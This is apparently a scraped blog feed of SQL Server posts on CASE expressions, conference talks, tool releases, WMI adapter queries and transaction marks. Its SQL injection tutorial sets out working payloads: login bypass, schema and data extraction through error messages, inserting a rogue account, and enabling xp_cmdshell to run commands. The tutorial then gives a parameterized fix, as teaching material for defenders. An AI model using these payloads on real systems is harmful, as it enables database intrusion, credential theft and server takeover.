I want some Moore

SQL Server: Writing CASE expressions properly when NULLs are involved

Mladen Prajdić — Mon, 18 Mar 2013 20:55:23 GMT

We’ve all written a CASE expression (yes, it’s an expression and not a statement) or two every now and then. But did you know there are actually 2 formats you can write the CASE expression in? This actually bit me when I was trying to add some new functionality to an old stored procedure. In some rare cases the stored procedure just didn’t work correctly. After a quick look it turned out to be a CASE expression problem when dealing with NULLS.

In the first format we make simple “equals to” comparisons to a value:

SELECT CASE <value> 
            WHEN <equals this value> THEN <return this> 
            WHEN <equals this value> THEN <return this> 
            -- ... more WHEN's here
            ELSE <return this>  
       END

Second format is much more flexible since it allows for complex conditions. USE THIS ONE!

SELECT  CASE
             WHEN <value> <compared to> <value> THEN <return this> 
             WHEN <value> <compared to> <value> THEN <return this> 
             -- ... more WHEN's here
             ELSE <return this> 
        END

Now that we know both formats and you know which to use (the second one if that hasn’t been clear enough) here’s an example how the first format WILL make your evaluation logic WRONG.

Run the following code for different values of @i. Just comment out any 2 out of 3 “SELECT @i =” statements.

DECLARE @i INT
SELECT  @i = -1    -- first result
SELECT  @i = 55    -- second result
SELECT  @i = NULL  -- third result


SELECT  @i AS OriginalValue,
        -- first CASE format. DON'T USE THIS!
        CASE @i 
            WHEN -1 THEN '-1' 
            WHEN NULL THEN 'We have a NULL!' 
            ELSE 'We landed in ELSE' 
        END AS DontUseThisCaseFormatValue,        
        -- second CASE format. USE THIS!
        CASE 
            WHEN @i = -1 THEN '-1' 
            WHEN @i IS NULL THEN 'We have a NULL!' 
            ELSE 'We landed in ELSE' 
        END AS UseThisCaseFormatValue

When the value of @i is –1 everything works as expected, since both formats go into the –1 WHEN branch.

When the value of @i is 55 everything again works as expected, since both formats go into the ELSE branch.

When the value of @i is NULL the problems become evident. The first format doesn’t go into the WHEN NULL branch because it makes an equality comparison between two NULLs.
Because a NULL is an unknown value: NULL = NULL is false. That is why the first format goes into the ELSE Branch but the second format correctly handles the proper IS NULL comparison.

Please use the second more explicit format. Your future self will be very grateful to you when he doesn’t have to discover these kinds of bugs.

Few events I’m speaking at in early 2013

Mladen Prajdić — Wed, 13 Feb 2013 00:34:22 GMT

2013 has started great and the SQL community is already brimming with events. At some of these events you can come say hi. I’ll be glad you do!

These are the events with dates and locations that I know I’ll be speaking at so far.

February 16th: SQL Saturday #198 - Vancouver, Canada

The session I’ll present in Vancouver is

SQL Impossible: Restoring/Undeleting a table

Yes, you read the title right. No, it's not about the usual "one table per partition" and "restore full backup then copy the data over" methods. No, there are no 3rd party tools involved. Just you and your SQL Server. Yes, it's crazy. No, it's not for production purposes. And yes, that's why it's so much fun. Prepare to dive into the world of data pages, log records, deletes, truncates and backups and how it all works together to get your table back from the endless void. Want to know more? Come and see!

This is an advanced level session where we’ll dive into the internals of data pages, transaction log records and page restores.

March 8th-9th: SQL Saturday #194 - Exeter, UK

In Exeter I’ll be presenting twice.

On the first day I’ll have a full day precon titled:

From SQL Traces to Extended Events - The next big switch

This pre-con will give you insight into both of the current tracing technologies in SQL Server. The old SQL Trace which has served us well over the past 10 or so years is on its way out because the overhead and details it produces are no longer enough to deal with today's loads. The new Extended Events are a new lightweight tracing mechanism built directly into the SQLOS thus giving us information SQL Trace just couldn't. They were designed and built with performance in mind and it shows. The new Extended Events are a new lightweight tracing mechanism built directly into the SQLOS thus giving us information SQL Trace just couldn't. They were designed and built with performance in mind and it shows. Mastering Extended Events requires learning at least one new skill: XML querying.

The second session I’ll have on Saturday titled:

SQL Injection from website to SQL Server

SQL Injection is still one of the biggest reasons various websites and applications get hacked. The solution as everyone tells us is simple. Use SQL parameters. But is that enough? In this session we'll look at how would an attacker go about using SQL Injection to gain access to your database, see its schema and data, take over the server, upload files and do various other mischief on your domain.

This is a fun session that always brings out a few laughs in the audience because they didn’t realize what can be done.

April 23rd-25th: NTK conference - Bled, Slovenia (Slovenian website only)

This is a conference with history. This year marks its 18th year running.

It’s a relatively large IT conference that focuses on various Microsoft technologies like .Net, Azure, SQL Server, Exchange, Security, etc…

The main session’s language is Slovenian but this is slowly changing so it’s becoming more interesting for foreign attendees. This year it’s happening in the beautiful town of Bled in the Alps. The scenery alone is worth the visit, wouldn’t you agree?

And this year there are quite a few well known speakers present!

Session title isn’t known yet.

May 2nd-4th: SQL Bits XI – Nottingham, UK

SQL Bits is the largest SQL Server conference in Europe. It’s a 3 day conference with top speakers and content all dedicated to SQL Server.

The session I’ll present here is an hour long version of the precon I’ll give in Exeter.

From SQL Traces to Extended Events - The next big switch

The session description is the same as for the Exeter precon but we'll focus more on how the Extended Events work with only a brief overview of old SQL Trace architecture.

SSMS Tools Pack 2.5.3 is out with bug fixes and improved licensing

Mladen Prajdić — Fri, 14 Dec 2012 12:42:54 GMT

Licensing for SSMS Tools Pack 2.5 has been quite a hit and I received some awesome feedback.
The version 2.5.3 contains a few bug fixes and desired licensing improvements.
Changes include more licensing options, prices in Euros because of book keeping reasons (don't you just love those :))
and generally easier purchase and licensing process for users.

Licensing now offers four options:

Per machine license. (€25)
Perfect if you do all your work from a single machine.
Plus one OS reinstall activation.

Personal license (€75)
Up to 4 machine activations.
Plus 2 OS reinstall activations and
any number of virtual machine activations.

Team license (€240)
Up to 10 machine activations.
Plus 4 OS reinstall activations and
any number of virtual machine activations.

Enterprise license (€350+)
For more than 10 machine activations
any number of virtual machine activations.

30 days license.
Time based demo license bound to a machine.

You can view all the details on the Licensing page .

If you want to receive email notifications when new version of SSMS Tools Pack is out you can do that on the Main page or on the Download page .

Version 2.7 is expected in the first half of February and won't support SSMS 2005 and 2005 Express anymore.

Enjoy it!

SSMS Tools Pack 2.5 is out. Added support for SQL Server 2012.

Mladen Prajdić — Mon, 17 Sep 2012 19:57:06 GMT

Because I wanted to make SSMS Tools Pack as solid as possible for SSMS 2012 there are no new features only bug fixes and speed improvements.

I am planning new awesome features for the next version so be on the lookout.

The biggest change is that SSMS Tools Pack for SSMS 2012 is no longer free. For previous SSMS versions it is still free.

Licensing now offers following options:

Per machine license. ($29.99)
Perfect if you do all your work from a single machine.
This license is valid per major release of SSMS Tools Pack
(e.g. v2.x, v3.x, v4.x).

Fully transferable license valid for 3 months. ($99.99)
Perfect for work across many machines.
It's not bound to a machine or an SSMS Tools Pack version.

30 days license.
Time based demo license bound to a machine.

You can view all the details on the Licensing page.

If you want to receive email notifications when new version of SSMS Tools Pack is out you can do that on the Main page or on the Download page.

This is also the last version to support SSMS 2005 and 2005 Express.

Enjoy it!

SSMS Tools Pack 2.1.0 is out. Added support for SQL Server 2012 RC0.

Mladen Prajdić — Thu, 01 Dec 2011 19:34:18 GMT

This version adds support for SQL Server 2012 RC0 and fixes a few bugs with SQL History.

Because of the support for regions in SSMS 2012 the regions and debug sections feature has been removed from SSMS Tools Pack for SQL Server 2012.

The feature is still available for previous SSMS versions.

In other news SSMS Tools Pack has won the SQL Magazine bronze award for best free tool of 2011. You can view all the details at the SQL Server Magazine Award page.

Thanx to all the people who voted for it. I'm glad you all like it and use it with great success.

Also I've added a possibility for you to subscribe to email notifications in case the auto-updater doesn't work for you for some reason like being behind a proxy.

Enjoy it!

SQL Server MVP Deep Dives 2. The Awesome Returns.

Mladen Prajdić — Fri, 07 Oct 2011 17:26:08 GMT

Two years ago 59 SQL Server MVP's came together and helped make one of the best book on SQL Server out there. Each chapter was written by an MVP about a part of SQL Server they loved working with. This resulted in superb quality content and excellent ratings from the readers. To top it off all earnings went to a good cause, the War Child International organization. That book was SQL Server MVP Deep Dives.

This year 63 SQL Server MVPs, me included, decided it was time do repeat the success of the first book.

Let me introduce you the:

SQL Server MVP Deep Dives 2

The topics in 60 chapters are grouped in 5 groups: Architecture, Database Administration, Database Development, Performance Tuning and Optimization, Business Intelligence. They represent over 1000 years of daily experience in various areas of SQL Server. I have contributed chapter 28 in Database Development group titled Getting asynchronous with Service Broker. In it I show you the Service Broker template you can use for secure communication between two or more SQL server instances for whatever purpose you may have. If you haven't heard of Service Broker it's a part of the database engine that enables you to do completely async operations in the database itself or between databases and instances.

The official release of the book will be next week at PASS where there will be 2 slots where most of the authors will be there signing the books you bring. This is also a great opportunity to meet everyone and ask about any problems you may have. So definitely come say hi.

Again we decided on a charity that will be supported by this book. It's called Operation Smile. They provide free surgeries to repair cleft lip, cleft palate and other facial deformities for children around the globe. You can also help them by donating.

You can preorder it on at Manning Publications website or on Amazon. By having it you not only get to learn a lot, improve your skills and have fun but you also help a child have a normal life. If that's not a good cause then I don't know what it is.

SSMS Tools Pack 2.0 is out! With huge productivity booster features that will blow your mind and ease your job even more.

Mladen Prajdić — Wed, 21 Sep 2011 16:24:40 GMT

What better way to end the summer and start those productive autumn days ahead than with a fresh new version of the SSMS Tools Pack.

This is a big release with two new features that are huge productivity boosters.

First new feature are Tab Sessions. Every SQL tab you open is saved every N (default 2) minutes and is stored in a session. This works similar to internet browser sessions. Once you reopen SSMS you can restores your last session with a click of a button. You even get every window connected to the server it was previously connected to. The Tab History Window looks like this:

The second feature is Execution Plan Analyzer. It is designed to quickly help you find costliest operators by a number of properties. If that's not enough you can easily search through the whole execution plan for whatever you like.
And to top it off you can auto analyze the execution plan. The analysis reports various problems the execution plan has and suggests a most common solution. The ultimate purpose of the Execution Plan Analyzer is to make your troubleshooting quicker and easier. It uses a simple user interface that is easy to navigate and is built directly into the execution plan itself. The execution plan analyzer looks like this:

Smaller fixes include a completely redesigned SQL History Search window and various other bug fixes.

You can download the new version 2.0 at the Download page.

For more detailed feature descriptions go to the main Features Page.

Enjoy it!

Yep, I’m a SQL Server MVP for one more year

Mladen Prajdić — Fri, 01 Jul 2011 16:06:04 GMT

My MVP rotation came up today and I'm happy to say that I've been renewed for one more year as a SQL Server MVP. Hm…. looks like I'll have to start blogging some more. :)

Two free SQL Server events I'll be presenting at in UK. Come and say hi!

Mladen Prajdić — Mon, 28 Mar 2011 05:40:00 GMT

SQLBits: April 7th - April 9th 2011 in Brighton, UK

Free community event on Saturday (April 9th) with a paid conference day on Friday (April 8th) and a Pre Conference day full of day long seminars (April 7th).

It'll be a huge event with over 800 attendees and over 20 MVPs. I'll be presenting on Saturday April 9th.

SQL in the City: July 15th 2011 in London, UK

One day of free SQL Server training sponsored by Redgate. Other MVP's that'll be presenting there are Steve Jones (website|twitter), Brad McGehee (blog|twitter) and Grant Fritchey (blog|twitter)

At both conferences I'll be presenting about database testing.

In the sessions I'll cover a few things from my book The Red Gate Guide to SQL Server Team based Development like what do we need for testing, how to go about it, what are some of the obstacles we have to overcome, etc…

If you're around there come and say Hi!

SQL Server SQL Injection from start to end

Mladen Prajdić — Wed, 16 Feb 2011 06:00:00 GMT

SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage.

A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text.

SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences.

The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user.

Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability.

1) Concatenating SQL statements on the client by hand

2) Using parameterized stored procedures but passing in parts of SQL statements

As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem.

Concatenating SQL statements on the client

This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL.

In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens.

/* SQL CODE */
/* Users table holds usernames and passwords and is the object of out hacking attempt */
CREATE TABLE Users
(
    UserId INT IDENTITY(1, 1) PRIMARY KEY ,
    UserName VARCHAR(50) ,
    UserPassword NVARCHAR(10)
)

/* Insert 2 users */
INSERT INTO Users(UserName, UserPassword)
SELECT 'User 1', 'MyPwd' UNION ALL
SELECT 'User 2', 'BlaBla'

Vulnerable C# code, followed by a progressive SQL injection attack.

/* .NET C# CODE */
/*
This method checks if a user exists. 
It uses SQL concatination on the client, 
which is susceptible to SQL injection attacks
*/
private bool DoesUserExist(string username, string password)
{
    using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;"))
    {
        /* 
        This is the SQL string you usually see with 
        novice developers. It returns a row if a 
        user exists and no rows if it doesn't
        */
        string sql = "SELECT * FROM Users WHERE UserName = '" + username + 
                                     "' AND UserPassword = '" + password + "'";
        SqlCommand cmd = conn.CreateCommand();
        cmd.CommandText = sql;
        cmd.CommandType = CommandType.Text;
        cmd.Connection.Open();
        DataSet dsResult = new DataSet();
        /*
        If a user doesn't exist the cmd.ExecuteScalar() 
        returns null; this is just to simplify the 
        example; you can use other Execute methods too
        */
        string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
        return userExists != "0";
        }
    }
}

/*
The SQL injection attack example. 
Username inputs should be run one after 
the other, to demonstrate the attack pattern.
*/
string username = "User 1";
string password = "MyPwd";
// See if we can even use SQL injection.
// By simply using this we can log into the application 
username = "' OR 1=1 --";
// What follows is a step-by-step guessing game designed 
// to find out column names used in the query, via the 
// error messages. By using GROUP BY we will get 
// the column names one by one.
// First try the Id
username = "' GROUP BY Id HAVING 1=1--";
// We get the SQL error: Invalid column name 'Id'.
// From that we know that there's no column named Id. 
// Next up is UserID
username = "' GROUP BY Users.UserId HAVING 1=1--";
// AHA! here we get the error: Column 'Users.UserName' is 
// invalid in the SELECT list because it is not contained 
// in either an aggregate function or the GROUP BY clause.
// We have guessed correctly that there is a column called 
// UserId and the error message has kindly informed us of 
// a table called Users with a column called UserName
// Now we add UserName to our GROUP BY
username = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";
// We get the same error as before but with a new column 
// name, Users.UserPassword
// Repeat this pattern till we have all column names that 
// are being return by the query.
// Now we have to get the column data types. One non-string 
// data type is all we need to wreck havoc
// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.
// This can be done because we know the number of columns the query returns FROM our previous hacks.
// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.
username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";
// SUM() errors out for UserName and UserPassword columns giving us their data types:
// Error: Operand data type varchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserName) FROM Users--";
// Error: Operand data type nvarchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";
// Because we know the Users table structure we can insert our data into it
username = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";
// Next let's get the actual data FROM the tables.
// There are 2 ways you can do this.
// The first is by using MIN on the varchar UserName column and 
// getting the data from error messages one by one like this:
username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";
username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";
// we can repeat this method until we get all data one by one
// The second method gives us all data at once and we can use it as soon as we find a non string column
username = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";
// The error we get is: 
// Conversion failed when converting the nvarchar value 
// '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>
//  <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>
//  <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' 
// to data type int.
// We can see that the returned XML contains all table data including our injected user account.
// By using the XML trick we can get any database or server info we wish as long as we have access
// Some examples:
// Get info for all databases
username = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";
// Get info for all tables in master database
username = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";
// If that's not enough here's a way the attacker can gain shell access to your underlying windows server
// This can be done by enabling and using the xp_cmdshell stored procedure
// Enable xp_cmdshell
username = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
// Create a table to store the values returned by xp_cmdshell
username = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";
// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table 
username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";
// return the data via an error message
username = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";
// delete the table to get clean output (this step is optional)
username = "'; DELETE ShellHack; --";
// repeat the upper 3 statements to do other nasty stuff to the windows server
// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error
// To avoid this chunk up the returned XML using paging techniques.

// the username and password params come from the GUI textboxes.
bool userExists = DoesUserExist(username, password );

Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example.

/* 
The fixed C# method that doesn't suffer from SQL injection 
because it uses parameters.
*/
private bool DoesUserExist(string username, string password)
{
    using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;"))
    {
        //This is the version of the SQL string that should be safe from SQL injection        
        string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password";
        SqlCommand cmd = conn.CreateCommand();
        cmd.CommandText = sql;
        cmd.CommandType = CommandType.Text;
        
        // adding 2 SQL Parameters solves the SQL injection issue completely
        SqlParameter usernameParameter = new SqlParameter();
        usernameParameter.ParameterName = "@username";
        usernameParameter.DbType = DbType.String;
        usernameParameter.Value = username;
        cmd.Parameters.Add(usernameParameter);
        
        SqlParameter passwordParameter = new SqlParameter();
        passwordParameter.ParameterName = "@password";
        passwordParameter.DbType = DbType.String;
        passwordParameter.Value = password;
        cmd.Parameters.Add(passwordParameter);
        
        cmd.Connection.Open();
        DataSet dsResult = new DataSet();
        /*
        If a user doesn't exist the cmd.ExecuteScalar() 
        returns null; this is just to simplify the 
        example; you can use other Execute methods too
        */
        string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
        return userExists == "1";
    }
}

We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place.

Your business is only as valuable as your data. If you lose your data, you lose your business. Period.

Incorrect parameterization in stored procedures

It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else.

This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup.

/*
Create a single master access stored procedure
*/
CREATE PROCEDURE spSingleAccessSproc
(
    @select NVARCHAR(500) = '' ,
    @tableName NVARCHAR(500) = '' ,
    @where NVARCHAR(500) = '1=1' ,
    @orderBy NVARCHAR(500) = '1'
)
AS
EXEC('SELECT ' + @select +
     ' FROM ' + @tableName +
     ' WHERE ' + @where +
     ' ORDER BY ' + @orderBy)
GO

/*
Valid use as anticipated by a novice developer
*/
EXEC spSingleAccessSproc @select = '*', 
                         @tableName = 'Users', 
                         @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', 
                         @orderBy = 'UserID'
/*
Malicious use SQL injection
The SQL injection principles are the same as
with SQL string concatenation I described earlier,
so I won't repeat them again here.
*/
EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --',
                         @tableName = '--Users',
                         @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''',
                         @orderBy = '--UserID'

One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one.

Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

SSMS Tools Pack 1.9.4 is out! Now with SQL Server 2011 (Denali) CTP1 support.

Mladen Prajdić — Tue, 28 Dec 2010 08:00:00 GMT

To end the year on a good note this release adds support for SQL Server 2011 (Denali) CTP1 and fixes a few bugs.

Because of the new SSMS shell in SQL 2011 CTP1 the SSMS Tools Pack 1.9.4 doesn't have regions and debug sections functionality for now.

The fixed bugs are:

A bug that prevented to create insert statements for a database
A bug that didn't script commas as decimal points correctly for non US settings.
A bug with searching through grid results.
A threading bug that sometimes happened when saving Window Content History.
A bug with Window Connection Coloring throwing an error on startup if a server colors was undefined.
A bug with changing shortcuts in SSMS for various features.

You can download the new version 1.9.4 here.

Enjoy it!

The Red Gate Guide to SQL Server Team based Development Free e-book

Mladen Prajdić — Tue, 23 Nov 2010 07:00:00 GMT

After about 6 months of work, the new book I've coauthored with Grant Fritchey (Blog|Twitter), Phil Factor (Blog|Twitter) and Alex Kuznetsov (Blog|Twitter) is out. They're all smart folks I talk to online and this book is packed with good ideas backed by years of experience.

The book contains a good deal of information about things you need to think of when doing any kind of multi person database development. Although it's meant for SQL Server, the principles can be applied to any database platform out there. In the book you will find information on: writing readable code, documenting code, source control and change management, deploying code between environments, unit testing, reusing code, searching and refactoring your code base. I've written chapter 5 about Database testing and chapter 11 about SQL Refactoring.

In the database testing chapter (chapter 5) I cover why you should test your database, why it is a good idea to have a database access interface composed of stored procedures, views and user defined functions, what and how to test. I talk about how there are many testing methods like black and white box testing, unit and integration testing, error and stress testing and why and how you should do all those. Sometimes you have to convince management to go for testing in the development lifecycle so I give some pointers and tips how to do that. Testing databases is a bit different from testing object oriented code in a way that to have independent unit tests you need to rollback your code after each test. The chapter shows you ways to do this and also how to avoid it. At the end I show how to test various database objects and how to test access to them.

In the SQL Refactoring chapter (chapter 11) I cover why refactor and where to even begin refactoring. I also who you a way to achieve a set based mindset to solve SQL problems which is crucial to good SQL set based programming and a few commonly seen problems to refactor. These problems include: using functions on columns in the where clause, SELECT * problems, long stored procedure with many input parameters, one subquery per condition in the select statement, cursors are good for anything problem, using too large data types everywhere and using your data in code for business logic anti-pattern.

You can read more about it and download it here: The Red Gate Guide to SQL Server Team-based Development

Hope you like it and send me feedback if you wish too.

SSMS Tools Pack 1.9.3 is out!

Mladen Prajdić — Tue, 09 Nov 2010 07:00:00 GMT

This release adds a great new feature and fixes a few bugs.

The new feature called Window Content History saves the whole text in all all opened SQL windows every N minutes with the default being 30 minutes. This feature fixes the shortcoming of the Query Execution History which is saved only when the query is run. If you're working on a large script and never execute it, the existing Query Execution History wouldn't save it. By contrast the Window Content History saves everything in a .sql file so you can even open it in your SSMS. The Query Execution History and Window Content History files are correlated by the same directory and file name so when you search through the Query Execution History you get to see the whole saved Window Content History for that query. Because Window Content History saves data in simple searchable .sql files there isn't a special search editor built in. It is turned ON by default but despite the built in optimizations for space minimization, be careful to not let it fill your disk. You can see how it looks in the pictures in the feature list.

The fixed bugs are:

SSMS 2008 R2 slowness reported by few people.
An object explorer context menu bug where it showed multiple SSMS Tools entries and showed wrong entries for a node.
A datagrid bug in SQL snippets.
Ability to read illegal XML characters from log files.
Fixed the upper limit bug of a saved history text to 5 MB.
A bug when searching through result sets prevents search.
A bug with Text formatting erroring out for certain scripts.
A bug with finding servers where it would return null even though servers existed.
Run custom scripts objects had a bug where |SchemaName| didn't display the correct table schema for columns. This is fixed. Also |NodeName| and |ObjectName| values now show the same thing.

You can download the new version 1.9.3 here.

Enjoy it!

Find only physical network adapters with WMI Win32_NetworkAdapter class

Mladen Prajdić — Thu, 04 Nov 2010 07:00:00 GMT

WMI is Windows Management Instrumentation infrastructure for managing data and machines. We can access it by using WQL (WMI querying language or SQL for WMI). One thing to remember from the WQL link is that it doesn't support ORDER BY. This means that when you do SELECT * FROM wmiObject, the returned order of the objects is not guaranteed. It can return adapters in different order based on logged-in user, permissions of that user, etc… This is not documented anywhere that I've looked and is derived just from my observations.

To get network adapters we have to query the Win32_NetworkAdapter class. This returns us all network adapters that windows detect, real and virtual ones, however it only supplies IPv4 data. I've tried various methods of combining properties that are common on all systems since Windows XP.

The first thing to do to remove all virtual adapters (like tunneling, WAN miniports, etc…) created by Microsoft. We do this by adding WHERE Manufacturer!='Microsoft' to our WMI query. This greatly narrows the number of adapters we have to work with. Just on my machine it went from 20 adapters to 5. What was left were one real physical Realtek LAN adapter, 2 virtual adapters installed by VMware and 2 virtual adapters installed by VirtualBox.

If you read the Win32_NetworkAdapter help page you'd notice that there's an AdapterType that enumerates various adapter types like LAN or Wireless and AdapterTypeID that gives you the same information as AdapterType only in integer form. The dirty little secret is that these 2 properties don't work. They are both hardcoded, AdapterTypeID to "0" and AdapterType to "Ethernet 802.3". The only exceptions I've seen so far are adapters that have no values at all for the two properties, "RAS Async Adapter" that has values of AdapterType = "Wide Area Network" and AdapterTypeID = "3" and various tunneling adapters that have values of AdapterType = "Tunnel" and AdapterTypeID = "15". In the help docs there isn't even a value for 15. So this property was of no help.

Next property to give hope is NetConnectionId. This is the name of the network connection as it appears in the Control Panel -> Network Connections. Problem is this value is also localized into various languages and can have different names for different connection. So both of these properties don't help and we haven't even started talking about eliminating virtual adapters. Same as the previous one this property was also of no help.

Next two properties I checked were ConfigManagerErrorCode and NetConnectionStatus in hopes of finding disabled and disconnected adapters. If an adapter is enabled but disconnected the ConfigManagerErrorCode = 0 with different NetConnectionStatus. If the adapter is disabled it reports ConfigManagerErrorCode = 22. This looked like a win by using (ConfigManagerErrorCode=0 or ConfigManagerErrorCode=22) in our condition. This way we get enabled (connected and disconnected adapters).

Problem with all of the above properties is that none of them filter out the virtual adapters installed by virtualization software like VMware and VirtualBox.

The last property to give hope is PNPDeviceID. There's an interesting observation about physical and virtual adapters with this property. Every virtual adapter PNPDeviceID starts with "ROOT\". Even VMware and VirtualBox ones. There were some really, really old physical adapters that had PNPDeviceID starting with "ROOT\" but those were in pre win XP era AFAIK. Since my minimum system to check was Windows XP SP2 I didn't have to worry about those.

The only virtual adapter I've seen to not have PNPDeviceID start with "ROOT\" is the RAS Async Adapter for Wide Area Network. But because it is made by Microsoft we've eliminated it with the first condition for the manufacturer. Using the PNPDeviceID has so far proven to be really effective and I've tested it on over 20 different computers of various configurations from Windows XP laptops with wireless and bluetooth cards to virtualized Windows 2008 R2 servers. So far it always worked as expected. I will appreciate you letting me know if you find a configuration where it doesn't work.

Let's see some C# code how to do this:

ManagementObjectSearcher mos = null;
// WHERE Manufacturer!='Microsoft' removes all of the 
// Microsoft provided virtual adapters like tunneling, miniports, and Wide Area Network adapters.
mos = new ManagementObjectSearcher(@"SELECT * 
                                     FROM   Win32_NetworkAdapter 
                                     WHERE  Manufacturer != 'Microsoft'");

// Trying the ConfigManagerErrorCode and NetConnectionStatus variations 
// proved to still not be enough and it returns adapters installed by 
// the virtualization software like VMWare and VirtualBox
// ConfigManagerErrorCode = 0 -> Device is working properly. This covers enabled and/or disconnected devices
// ConfigManagerErrorCode = 22 AND NetConnectionStatus = 0 -> Device is disabled and Disconnected. 
// Some virtual devices report ConfigManagerErrorCode = 22 (disabled) and some other NetConnectionStatus than 0
mos = new ManagementObjectSearcher(@"SELECT * 
                                     FROM   Win32_NetworkAdapter 
                                     WHERE  Manufacturer != 'Microsoft' 
                                            AND (ConfigManagerErrorCode = 0 
                                                    OR (ConfigManagerErrorCode = 22 AND NetConnectionStatus = 0))");

// Final solution with filtering on the Manufacturer and PNPDeviceID not starting with "ROOT\"
// Physical devices have PNPDeviceID starting with "PCI\" or something else besides "ROOT\"
mos = new ManagementObjectSearcher(@"SELECT * 
                                     FROM   Win32_NetworkAdapter 
                                     WHERE  Manufacturer != 'Microsoft' 
                                            AND NOT PNPDeviceID LIKE 'ROOT\\%'");
// Get the physical adapters and sort them by their index. 
// This is needed because they're not sorted by default
IList<ManagementObject> managementObjectList = mos.Get()
                                                  .Cast<ManagementObject>()
                                                  .OrderBy(p => Convert.ToUInt32(p.Properties["Index"].Value))
                                                  .ToList();

// Let's just show all the properties for all physical adapters.
foreach (ManagementObject mo in managementObjectList)
{
    foreach (PropertyData pd in mo.Properties)
        Console.WriteLine(pd.Name + ": " + (pd.Value ?? "N/A"));
}

That's it. Hope this helps you in some way.

SQL Server Transaction Marks: Restoring multiple databases to a common relative point

Mladen Prajdić — Wed, 20 Oct 2010 06:00:00 GMT

We’re all familiar with the ability to restore a database to point in time using the RESTORE WITH STOPAT statement.

But what if we have multiple databases that are accessed from one application or are modifying each other? And over multiple instances? And all databases have different workloads? And we want to restore all of the databases to some known common relative point? The catch here is that this common relative point isn’t the same point in time for all databases. This common relative point in time might be now in DB1, now-1 hour in DB2 and yesterday in DB3. And we don’t know the exact times.

Let me introduce you to Transaction Marks. When we run a marked transaction using the WITH MARK option a flag is set in the transaction log and a row is added to msdb..logmarkhistory table. When restoring a transaction log backup we can restore to either before or after that marked transaction. The best thing is that we don’t even need to have one database modifying another database. All we have to do is use a marked transaction with the same name in different database.

Let’s see how this works with an example. The code comments say what’s going on.

